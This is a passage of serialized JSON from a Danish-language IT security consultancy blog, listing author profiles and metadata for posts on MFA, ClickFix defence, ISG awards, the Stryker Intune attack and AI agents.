Perez","people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":3008,"avatar":3009,"permalink":3010,"linkedin":3011},"Mahschid Sayyar","people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":3013,"avatar":3014,"permalink":3015,"linkedin":3016},"Benjamin Dassow","people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":3018,"avatar":3019,"permalink":3020,"linkedin":3021},"Markus Walschburger","people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":3023,"avatar":3024,"permalink":3025,"linkedin":3026,"imageOffsetTop":2782},"Jonathan Haist","people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":3028,"avatar":3029,"permalink":3030,"linkedin":3031,"imageOffsetTop":2782},"Daniel Rohregger","people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":3033,"avatar":3034,"permalink":3035,"linkedin":3036,"imageOffsetTop":2882},"Thomas Naunheim","people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":3038,"avatar":3039,"permalink":3040,"linkedin":3041,"imageOffsetTop":2882},"Florian Stöckl","people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":523,"avatar":3043,"permalink":3044,"linkedin":3045,"imageOffsetTop":2882},"people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":3047,"avatar":3048,"permalink":3049,"linkedin":3050,"imageOffsetTop":3051,"imageOffsetLeft":3052},"Markus Kättner","people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":3054,"avatar":3055,"permalink":3056,"linkedin":3057,"imageOffsetTop":3058,"imageOffsetLeft":3059},"Anna Ulbricht","people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":3061,"avatar":3062,"permalink":3063,"linkedin":3064,"imageOffsetTop":3065,"imageOffsetLeft":2809},"Annette Brauns","people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%",{"Fritz Zurhorst":3067,"Alexander Schlindwein":3068,"Sophie Luna":3069,"Nadine Klein":3070,"Karsten Kleinschmidt":3071,"Julian Wendt":3072,"Holger Bunkradt":3073,"Ralf Mania":3074,"Oliver Kieselbach":3075,"Steffen Schwerdtfeger":3076,"Gunnar Winter":3077,"Jan Petersen":3078,"Thorsten Kunzi":3079,"Moritz Pohl":3080,"Thorben Pöschus":3081,"Christoph Hannebauer":3082,"Marco Scheel":3083,"Christopher Brumm":3084,"Florian Klante":3085,"Niklas Bachmann":3086,"Nils Krautkrämer":3087,"Patrick Treptau":3088,"Peter Beckendorf":3089,"Patrick Sobau":3090,"Jörg Wunderlich":3091,"Michael Breither":3092,"Christian Kanja":3093,"Zeba Hoffmann":3094,"Jochen Fröhlich":3095,"Jan Geisbauer":3096,"Gerrit Reinke":3100,"Christian Kordel":3101,"Stephan Wälde":3102,"Carolin Kanja":3103,"Adrian Ritter":3104,"Marvin Bangert":3105,"Thorsten Pickhan":3106,"Christian Lorenz":3107,"Denis Böhm":3108,"Fabian Bader":3109,"Juan Jose Fernandez Perez":3110,"Mahschid Sayyar":3111,"Benjamin Dassow":3112,"Markus Walschburger":3113,"Jonathan Haist":3114,"Daniel Rohregger":3115,"Thomas Naunheim":3116,"Florian Stöckl":3117,"Pascal Asch":3118,"Markus Kättner":3119,"Anna Ulbricht":3120,"Annette Brauns":3121},{"display_name":2778,"avatar":2779,"permalink":2780,"linkedin":2781,"imageOffsetTop":2782},{"display_name":2784,"avatar":2785,"permalink":2786,"twitter":2787,"linkedin":2788},{"display_name":2790,"avatar":2791,"permalink":2792,"twitter":2793,"linkedin":2794,"imageOffsetLeft":2795,"imageOffsetTop":2796},{"display_name":2798,"avatar":2799,"permalink":2800,"twitter":2801,"linkedin":2802,"imageOffsetTop":2782},{"display_name":2804,"avatar":2805,"permalink":2806,"twitter":2807,"linkedin":2808,"imageOffsetTop":2809,"imageOffsetLeft":2810},{"display_name":2812,"avatar":2813,"permalink":2814,"linkedin":2815},{"display_name":2817,"avatar":2818,"permalink":2819,"linkedin":2820,"twitter":2821},{"display_name":2823,"avatar":2824,"permalink":2825,"linkedin":2826,"twitter":2827},{"display_name":2829,"avatar":2830,"permalink":2831,"linkedin":2832,"twitter":2833},{"display_name":2835,"avatar":2836,"permalink":2837,"linkedin":2838,"twitter":2839,"imageOffsetTop":2840,"imageOffsetLeft":2841},{"display_name":2843,"avatar":2844,"permalink":2845,"twitter":2793,"linkedin":2846},{"display_name":2848,"avatar":2849,"permalink":2850,"twitter":2793,"linkedin":2851},{"display_name":2853,"avatar":2854,"permalink":2855,"twitter":2793,"linkedin":2846,"imageOffsetTop":2782},{"display_name":2857,"avatar":2858,"permalink":2859,"twitter":2793,"linkedin":2860},{"display_name":2862,"avatar":2863,"permalink":2864,"twitter":2865,"linkedin":2866},{"display_name":2868,"avatar":2869,"permalink":2870,"twitter":2793,"linkedin":2846,"imageOffsetTop":2782},{"display_name":2872,"avatar":2873,"permalink":2874,"twitter":2875,"linkedin":2875},{"display_name":2877,"avatar":2878,"permalink":2879,"twitter":2880,"linkedin":2881,"imageOffsetTop":2882},{"display_name":2884,"avatar":2885,"permalink":2886,"linkedin":2887,"twitter":2793},{"display_name":2889,"avatar":2890,"permalink":2891,"linkedin":2892,"twitter":2793},{"display_name":2894,"avatar":2895,"permalink":2896,"twitter":2897,"linkedin":2898},{"display_name":2900,"avatar":2901,"permalink":2902,"linkedin":2903,"twitter":2793},{"display_name":2905,"avatar":2906,"permalink":2907,"linkedin":2908,"twitter":2793,"imageOffsetTop":2782},{"display_name":2910,"avatar":2911,"permalink":2912,"linkedin":2913,"twitter":2793},{"display_name":2915,"avatar":2916,"permalink":2917,"twitter":2793},{"display_name":2919,"avatar":2920,"permalink":2921,"twitter":2793,"linkedin":2922},{"display_name":2924,"avatar":2925,"permalink":2926,"twitter":2927,"linkedin":2928},{"display_name":2930,"avatar":2931,"permalink":2932,"linkedin":2933,"twitter":2793},{"display_name":2935,"avatar":2936,"permalink":2937,"twitter":2793,"linkedin":2846},{"display_name":2713,"avatar":2939,"permalink":2940,"twitter":2941,"linkedin":2941,"imageOffsetTop":2782,"socials":3097},[3098,3099],{"text":472,"href":2944},{"text":2946,"href":2947},{"display_name":2949,"avatar":2950,"permalink":2951,"twitter":2952,"linkedin":2953},{"display_name":2955,"avatar":2956,"permalink":2957,"twitter":2793,"linkedin":2846},{"display_name":2959,"avatar":2960,"permalink":2961,"twitter":2962,"linkedin":2846},{"display_name":2964,"avatar":2965,"permalink":2966,"twitter":2967,"linkedin":2968},{"display_name":2970,"avatar":2971,"permalink":2972,"twitter":2973,"linkedin":2973},{"display_name":2975,"avatar":2976,"permalink":2977,"twitter":2978,"linkedin":2979},{"display_name":2981,"avatar":2982,"permalink":2983,"twitter":2984,"linkedin":2985},{"display_name":2987,"avatar":2988,"permalink":2989,"linkedin":2990,"twitter":2793},{"display_name":2992,"avatar":2993,"permalink":2994,"linkedin":2995,"twitter":2793},{"display_name":2997,"avatar":2998,"permalink":2999,"linkedin":3000,"twitter":3001},{"display_name":3003,"avatar":3004,"permalink":3005,"linkedin":3006},{"display_name":3008,"avatar":3009,"permalink":3010,"linkedin":3011},{"display_name":3013,"avatar":3014,"permalink":3015,"linkedin":3016},{"display_name":3018,"avatar":3019,"permalink":3020,"linkedin":3021},{"display_name":3023,"avatar":3024,"permalink":3025,"linkedin":3026,"imageOffsetTop":2782},{"display_name":3028,"avatar":3029,"permalink":3030,"linkedin":3031,"imageOffsetTop":2782},{"display_name":3033,"avatar":3034,"permalink":3035,"linkedin":3036,"imageOffsetTop":2882},{"display_name":3038,"avatar":3039,"permalink":3040,"linkedin":3041,"imageOffsetTop":2882},{"display_name":523,"avatar":3043,"permalink":3044,"linkedin":3045,"imageOffsetTop":2882},{"display_name":3047,"avatar":3048,"permalink":3049,"linkedin":3050,"imageOffsetTop":3051,"imageOffsetLeft":3052},{"display_name":3054,"avatar":3055,"permalink":3056,"linkedin":3057,"imageOffsetTop":3058,"imageOffsetLeft":3059},{"display_name":3061,"avatar":3062,"permalink":3063,"linkedin":3064,"imageOffsetTop":3065,"imageOffsetLeft":2809},"Authors","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",{"list":3125,"authors":3328},[3126,3143,3157,3171,3187,3200,3213,3226,3238,3254,3268,3283,3288,3299,3312],{"id":3127,"title":3128,"author":3129,"cta":494,"description":585,"hideInRecent":484,"layout":2675,"meta":3130,"moment":3135,"path":3136,"stem":3137,"tags":3138,"webcast":484},"content_da/posts/2026-09-22-end-of-mfa-sms.md","Enden på MFA-SMS",[2804],{"lang":2677,"date":3131,"categories":3132,"blogtitlepic":3133,"customExcerpt":3134},"2026-09-21",[2682],"head-conditional-access.jpg","Hvorfor virksomheder nu bør skifte til phishing-resistente og så vidt muligt passwordløse loginmetoder.","2026-09-22","/posts/2026-09-22-end-of-mfa-sms","posts/2026-09-22-end-of-mfa-sms",[2682,3139,3140,3141,3142],"Authentication","Microsoft Entra ID","MFA","Passkeys",{"id":3144,"title":3145,"author":3146,"cta":494,"description":585,"hideInRecent":484,"layout":2675,"meta":3147,"moment":3131,"path":3151,"stem":3152,"tags":3153,"webcast":484},"content_da/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix. Når brugeren er exploiten, og hvordan I stopper det",[2778,2798],{"lang":2677,"date":3131,"categories":3148,"blogtitlepic":3149,"customExcerpt":3150},[2682],"head-clickfix.jpg","ClickFix gør brugere til deres egen angriber: et falsk CAPTCHA, en copy-paste, og skadekoden kører i hukommelsen, uden at noget lander på disken. Hvordan Microsoft Defender opdager angrebet, hvor detektionen når sine grænser, og hvordan I lukker hullet med et RunMRU-hunt og fire beskyttelseslag.","/posts/2026-09-21-clickfix-prevent-detect","posts/2026-09-21-clickfix-prevent-detect",[3154,3155,3156],"Defender","SOC","Endpoint Security",{"id":3158,"title":3159,"author":3160,"cta":494,"description":585,"hideInRecent":484,"layout":2675,"meta":3161,"moment":3131,"path":3165,"stem":3166,"tags":3167,"webcast":484},"content_da/posts/2026-09-21-red-tenant-dark-tenant-cio.md","Admin og hverdag på samme computer? Game Over.",[2713],{"lang":2677,"date":3131,"categories":3162,"blogtitlepic":3163,"customExcerpt":3164},[2682],"head-game-over-en.jpg","Hvorfor én tenant ikke rækker for CIO'er, og hvorfor den anden sjældent bliver tænkt med. Managed Red Tenant adskiller arkitektonisk det administrative arbejde fra kontormiljøet, Managed Dark Tenant holder virksomheden handlekraftig, hvis forsvaret alligevel falder. Hvad det betyder for driftsmodellen, SOC-signalet og dokumentationspligterne efter NISG 2026.","/posts/2026-09-21-red-tenant-dark-tenant-cio","posts/2026-09-21-red-tenant-dark-tenant-cio",[2682,3168,3169,3170],"Privileged Access","Zero Trust","NIS2",{"id":3172,"title":3173,"author":3174,"cta":494,"description":3175,"hideInRecent":484,"layout":2675,"meta":3176,"moment":3177,"path":3182,"stem":3183,"tags":3184,"webcast":484},"content_da/posts/2026-08-08-isg-germany-2026.md","Fire gange Leader. glueckkanja i ISG-undersøgelsen Tyskland 2026",[2964],"ISG har omdøbt sin undersøgelse i år. Microsoft Cloud Ecosystem blev til Microsoft AI and Cloud Ecosystem, og med navnet har målestokken flyttet sig: Det, der vurderes, er ikke længere, hvem der indfører Microsoft-platforme, men hvem der driver Copilot, agenter og AI-workloads kontrollerbart. Den nye målestok har ikke ændret noget ved vores position. ISG Provider Lens®-undersøgelsen Tyskland 2026 positionerer os som Leader i fire kvadranter: Microsoft Productivity and Business Process Services og Azure Managed Services, hver gang i både Large Market og Mid Market. Efter 2021, 2023, 2024 og 2025 er det den femte Leader-placering i Tyskland, i Schweiz kom springet ind i Leader-kvadranten to uger tidligere.",{"lang":2677,"date":3177,"categories":3178,"blogtitlepic":3180,"customExcerpt":3181},"2026-08-08",[3179],"Corporate","head-isg-de-2026.png","ISG Provider Lens®-undersøgelsen 2026 positionerer glueckkanja i Tyskland som Leader i fire kvadranter: Microsoft Productivity and Business Process Services og Azure Managed Services, hver gang i både Large og Mid Market. Undersøgelsen hedder nu Microsoft AI and Cloud Ecosystem, og målestokken har flyttet sig: Det, der vurderes, er, hvem der driver AI- og agent-workloads kontrollerbart.","/posts/2026-08-08-isg-germany-2026","posts/2026-08-08-isg-germany-2026",[3185,3186],"Award","ISG",{"id":3188,"title":3189,"author":3190,"cta":494,"description":3191,"hideInRecent":484,"layout":2675,"meta":3192,"moment":3193,"path":3197,"stem":3198,"tags":3199,"webcast":484},"content_da/posts/2026-07-31-isg-switzerland-2026.md","Fra Rising Star til Leader. glueckkanja i ISG-undersøgelsen Schweiz 2026",[2964],"I 2024 stiftede vi glueckkanja Switzerland AG og flyttede ind i et kontor i zentroom på Bahnhofplatz 10b i Bern. I 2025 placerede ISG os som Rising Star på det schweiziske marked, som den leverandør, analytikerne tror kan tage springet ind i Leader-kvadranten. Nu er springet dokumenteret: ISG Provider Lens®-undersøgelsen 2026 positionerer os i Schweiz som Leader i kvadranten Microsoft AI and Cloud Ecosystem, inden for områderne Azure Managed Services og Microsoft Productivity and Business Process Services.",{"lang":2677,"date":3193,"categories":3194,"blogtitlepic":3195,"customExcerpt":3196},"2026-07-31",[3179],"head-isg-ch-2026.png","ISG Provider Lens®-undersøgelsen 2026 positionerer glueckkanja i Schweiz som Leader i kvadranten Microsoft AI and Cloud Ecosystem, inden for områderne Azure Managed Services og Microsoft Productivity and Business Process Services. To år efter markedsindtrædelsen i Bern, et år efter Rising Star-udmærkelsen.","/posts/2026-07-31-isg-switzerland-2026","posts/2026-07-31-isg-switzerland-2026",[3185,3186],{"id":3201,"title":3202,"author":3203,"cta":494,"description":585,"hideInRecent":484,"layout":2675,"meta":3204,"moment":3205,"path":3209,"stem":3210,"tags":3211,"webcast":484},"content_da/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak. Hvad OpenAI/Hugging-Face-hændelsen afslører, og hvad den ikke gør",[2713],{"lang":2677,"date":3205,"categories":3206,"blogtitlepic":3207,"customExcerpt":3208},"2026-07-24",[2682],"head-outbreak.jpg","En AI-agent bryder ud af sit testmiljø, finder en zero-day og hacker en anden virksomhed. Det lyder som et filmmanuskript, men skete faktisk i juli 2026. Tid til en nøgtern placering: med lidt psykologi, to security-veteraner og spørgsmålet om, hvad det betyder for jeres forsvar.","/posts/2026-07-24-outbreak-openai-hugging-face","posts/2026-07-24-outbreak-openai-hugging-face",[3212,3155,3169],"AI",{"id":3214,"title":3215,"author":3216,"cta":494,"description":3217,"hideInRecent":484,"layout":2675,"meta":3218,"moment":3219,"path":3223,"stem":3224,"tags":3225,"webcast":484},"content_da/posts/2026-07-22-isg-cybersecurity-2026.md","Leader og Rising Star. glueckkanja i ISG's Cybersecurity-undersøgelse 2026",[2964],"Ny i kvadranten og straks Leader: ISG Provider Lens®-undersøgelsen \"Cybersecurity – Services and Solutions 2026\" positionerer glueckkanja som Leader inden for Next-Gen SOC/MDR Services for mellemstore virksomheder i Tyskland. I det samlede marked for Next-Gen SOC/MDR Services udnævner ISG os til Rising Star, altså den leverandør, som analytikerne tror kan tage springet ind i Leader-kvadranten inden for de næste 12 til 24 måneder.",{"lang":2677,"date":3219,"categories":3220,"blogtitlepic":3221,"customExcerpt":3222},"2026-07-22",[3179],"head-isg-cybersecurity-2026.png","ISG Provider Lens®-undersøgelsen Cybersecurity 2026 udnævner glueckkanja til Leader i kvadranten Next-Gen SOC/MDR Services (Midmarket). I det samlede marked for Next-Gen SOC/MDR Services er vi Rising Star. ISG fremhæver vores vækst over gennemsnittet, vores dybe Microsoft-security-ekspertise og et 24/7-SOC drevet fra Tyskland.","/posts/2026-07-22-isg-cybersecurity-2026","posts/2026-07-22-isg-cybersecurity-2026",[3185,3186,2682],{"id":3227,"title":3228,"author":3229,"cta":494,"description":3230,"hideInRecent":484,"layout":2675,"meta":3231,"moment":3232,"path":3235,"stem":3236,"tags":3237,"webcast":484},"content_da/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity: Hvad AI virkelig skal have for at kunne arbejde",[2964],"En produktionsvirksomhed vil vide, hvilke af dens 14.000 SKU'er der faktisk er profitable. Svaret ligger i tre systemer, der aldrig har udvekslet et enkelt datapunkt med hinanden. Indtil for kort tid siden kostede det tre afdelinger, to uger og en del god vilje at få det. Siden begyndelsen af 2026 kan en AI besvare det spørgsmål på minutter: søge data igennem, skabe sammenhænge, producere en anbefaling. Forudsat at den har adgang.",{"lang":2677,"date":3232,"categories":3233,"blogtitlepic":3234},"2026-07-06",[131],"head-the-holy-trinity","/posts/2026-07-06-the-holy-trinity","posts/2026-07-06-the-holy-trinity",[3212,131],{"id":3239,"title":3240,"author":3241,"cta":494,"description":3242,"hideInRecent":484,"layout":2675,"meta":3243,"moment":3244,"path":3248,"stem":3249,"tags":3250,"webcast":484},"content_da/posts/2026-07-01-onboarding-process.md","Kontrakten er skrevet under: Sådan forløber din onboarding hos os",[3054],"Hvordan forløber jeres onboarding egentlig? Det er et spørgsmål, vi støder på igen og igen i samtaler med ansøgere, for mange har oplevet, at en onboarding kan gå hakkende. Derfor er det så meget desto vigtigere for os, at du får en god fornemmelse helt fra begyndelsen.",{"lang":2677,"date":3244,"categories":3245,"blogtitlepic":3246,"customExcerpt":3247},"2026-07-01",[3179],"Onboarding_Blogheader","Kontrakten er skrevet under, det første store skridt er taget. Men hvad sker der nu? Vi tager dig med bag kulisserne i vores onboarding, fra PreBoarding til den første uge i teamet.","/posts/2026-07-01-onboarding-process","posts/2026-07-01-onboarding-process",[3251,3252,3253],"Employer Branding","Onboarding","Unternehmenskultur",{"id":3255,"title":3256,"author":3257,"cta":494,"description":3258,"hideInRecent":484,"layout":2675,"meta":3259,"moment":3260,"path":3264,"stem":3265,"tags":3266,"webcast":484},"content_da/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner: vi er blandt de få",[2964],"I Microsofts partner-økosystem findes der en lang række anerkendelser, og alligevel skiller Frontier Partner Badge sig ud fra de øvrige udmærkelser i sin anlæg. Man kan ikke ansøge om det, det tildeles på Microsofts eget initiativ til en eksklusiv kreds af partnere, som skal overbevise i flere discipliner parallelt i stedet for at brillere i en enkelt. Microsoft vurderer dokumenteret kompetence inden for Cloud & AI Platforms, AI Business Solutions og Security i lige høj grad og henvender sig dermed til virksomheder, der ikke opfatter AI som en påbygning på eksisterende IT, men som resultatet af en gennemgående arkitektur, der bærer fra identiteten over endpointet og helt ind i produktiv AI-drift.",{"lang":2677,"date":3260,"categories":3261,"blogtitlepic":3262,"customExcerpt":3263},"2026-06-26",[3179],"head-frontier-partner-badge.jpg","Microsoft AI Cloud Partner Program har for nylig fået en ny topudmærkelse, Frontier Partner Badge. Microsoft tildeler den udelukkende til en eksklusiv kreds af partnere verden over, som leverer bæredygtige AI-projekter på hele Microsoft-stakken, fra arbejdspladsen over cloud-platformen og security og helt ind i selve AI-anvendelsen, og som har dokumenteret det i praksis. I DACH-området tæller den gruppe kun en håndfuld virksomheder, og vi er en af dem.","/posts/2026-06-26-frontier-partner","posts/2026-06-26-frontier-partner",[3185,3267,3212],"Microsoft Partner",{"id":3269,"title":3270,"author":3271,"cta":494,"description":3272,"hideInRecent":484,"layout":2675,"meta":3273,"moment":3274,"path":3278,"stem":3279,"tags":3280,"webcast":484},"content_da/posts/2026-06-09-vair-run.md","160 kilometer for en god sag",[3061],"Søndag morgen, klokken 8:30, Holbeinsteg ved Main. Elleve kolleger i ens NinjaCat-shirts, klar til Frankfurter Runden. Regn, lyn og torden inklusive. At løbe for en god sag var motivation nok til at snøre løbeskoene på trods af det dårlige vejr.",{"lang":2677,"date":3274,"categories":3275,"blogtitlepic":3276,"customExcerpt":3277},"2026-06-08",[3179],"frankfurter-runden.png","Elleve kolleger, 16 omgange, 160 kilometer, et tordenvejr og en podieplacering: glueckkanja var med til Frankfurter Runden 2026 og donerede for hver løbet omgang til VAIR e.V., der bygger en inkluderende sports- og kulturpark i Offenbach.","/posts/2026-06-09-vair-run","posts/2026-06-09-vair-run",[3281,3251,3282],"Top Arbeitgeber","Soziales Engagement",{"id":520,"title":521,"author":3284,"cta":494,"description":530,"hideInRecent":484,"layout":2675,"meta":3285,"moment":2680,"path":2762,"stem":2764,"tags":3287,"webcast":484},[523],{"lang":2677,"date":2680,"categories":3286,"blogtitlepic":2683,"customExcerpt":2685},[2682],[2766,2767,2768,2769,2770],{"id":3289,"title":3290,"author":3291,"cta":494,"description":3292,"hideInRecent":484,"layout":2675,"meta":3293,"moment":3294,"path":3297,"stem":3298,"tags":494,"webcast":484},"content_da/posts/2026-03-21-microsoft-edge-corporate-browser.md","Derfor bør Edge være jeres eneste corporate browser",[2835],"Valget af browser er en strategisk beslutning i virksomhedsmiljøer, fordi det direkte påvirker, hvor meget sikkerhed og hvor stort et administrationsarbejde I reelt har. Google Chrome var længe den nærliggende mulighed, men Microsoft Edge har udviklet sig til en browser, der griber direkte ind i den eksisterende stak, især når Microsoft 365 er i brug, og administrationen kører gennem Intune.",{"lang":2677,"date":3294,"blogtitlepic":3295,"customExcerpt":3296},"2026-03-21","head-microsoft-edge-default-browser.jpg","Ingen virksomhed har for alvor valgt Chrome; den var der bare, med sin egen sync-logik, sin egen kontohåndtering og sin egen politikflade. Microsoft Edge griber derimod direkte ind i den infrastruktur, der alligevel kører: Entra ID, Intune, Defender. Dette indlæg viser, hvordan skiftet ser ud, hvordan Chrome omdirigeres til en landingpage via en Intune-politik, og hvad der falder væk, når man holder op med at drive to browsere parallelt.","/posts/2026-03-21-microsoft-edge-corporate-browser","posts/2026-03-21-microsoft-edge-corporate-browser",{"id":3300,"title":3301,"author":3302,"cta":494,"description":3303,"hideInRecent":484,"layout":2675,"meta":3304,"moment":3305,"path":3309,"stem":3310,"tags":3311,"webcast":484},"content_da/posts/2026-03-20-stryker-attack-intune-privilege.md","Én admin-konto var alt, hvad der skulle til.",[2713],"Onsdag den 11. marts 2026. Medarbejdere på Stryker-kontorer i 79 lande tændte deres computere og fandt dem tomme. Login-skærme erstattet af et logo. Firmabærbare, arbejdstelefoner, private enheder tilmeldt virksomhedens BYOD-program, alle slettet samtidig, natten over. Ingen ransomware, ingen malware-signaturer, intet, som et endpoint-detection-værktøj kunne have opdaget.",{"lang":2677,"date":3305,"categories":3306,"blogtitlepic":3307,"customExcerpt":3308},"2026-03-20",[2682],"head-stryker.jpg","Den 11. marts 2026 slettede Handala enheder i 79 lande, og alt, hvad der skulle til, var en kompromitteret Intune-admin-konto. Ingen malware, ingen exploit, kun legitime management-værktøjer vendt mod deres ejere. Hvad der skete, hvorfor det virkede, og hvilke to arkitektoniske huller der skal lukkes.","/posts/2026-03-20-stryker-attack-intune-privilege","posts/2026-03-20-stryker-attack-intune-privilege",[71,3168,3169],{"id":3313,"title":3314,"author":3315,"cta":494,"description":3316,"hideInRecent":484,"layout":2675,"meta":3317,"moment":3318,"path":3322,"stem":3323,"tags":3324,"webcast":484},"content_da/posts/2026-03-16-ai-agent-hackathon.md","Seks agenter. Fire uger. Rigtig drift.",[2964],"Hvor mange timer bruger jeres IT-afdeling om ugen på opgaver, som en agent kunne klare på minutter?",{"lang":2677,"date":3318,"categories":3319,"blogtitlepic":3320,"customExcerpt":3321},"2026-03-16",[3179],"head-ai-agent-hackathon.jpg","Seks virksomheder, fire ugers byggefase, seks fungerende AI Agents. Det var den første glueckkanja AI Agent Hackathon. Kiekert, Dr. Oetker, Eckes-Granini, igefa og lila logistik har bygget agenter i Copilot Studio, som kører produktivt i dag. Her er, hvad der kom ud af det, og hvordan formatet fungerer.","/posts/2026-03-16-ai-agent-hackathon","posts/2026-03-16-ai-agent-hackathon",[3212,3325,3326,3327],"Copilot Studio","Hackathon","AI Agents",{"Karsten Kleinschmidt":3329,"Fritz Zurhorst":3330,"Nadine Klein":3331,"Jan Geisbauer":3332,"Carolin Kanja":3336,"Anna Ulbricht":3337,"Annette Brauns":3338,"Pascal Asch":3339,"Steffen Schwerdtfeger":3340},{"display_name":2804,"avatar":2805,"permalink":2806,"twitter":2807,"linkedin":2808,"imageOffsetTop":2809,"imageOffsetLeft":2810},{"display_name":2778,"avatar":2779,"permalink":2780,"linkedin":2781,"imageOffsetTop":2782},{"display_name":2798,"avatar":2799,"permalink":2800,"twitter":2801,"linkedin":2802,"imageOffsetTop":2782},{"display_name":2713,"avatar":2939,"permalink":2940,"twitter":2941,"linkedin":2941,"imageOffsetTop":2782,"socials":3333},[3334,3335],{"text":472,"href":2944},{"text":2946,"href":2947},{"display_name":2964,"avatar":2965,"permalink":2966,"twitter":2967,"linkedin":2968},{"display_name":3054,"avatar":3055,"permalink":3056,"linkedin":3057,"imageOffsetTop":3058,"imageOffsetLeft":3059},{"display_name":3061,"avatar":3062,"permalink":3063,"linkedin":3064,"imageOffsetTop":3065,"imageOffsetLeft":2809},{"display_name":523,"avatar":3043,"permalink":3044,"linkedin":3045,"imageOffsetTop":2882},{"display_name":2835,"avatar":2836,"permalink":2837,"linkedin":2838,"twitter":2839,"imageOffsetTop":2840,"imageOffsetLeft":2841},{"id":2773,"extension":2774,"meta":3342,"stem":8,"__hash__":3123},{"Pascal Asch":3343},{"display_name":523,"avatar":3043,"permalink":3044,"linkedin":3045,"imageOffsetTop":2882},1791383910200]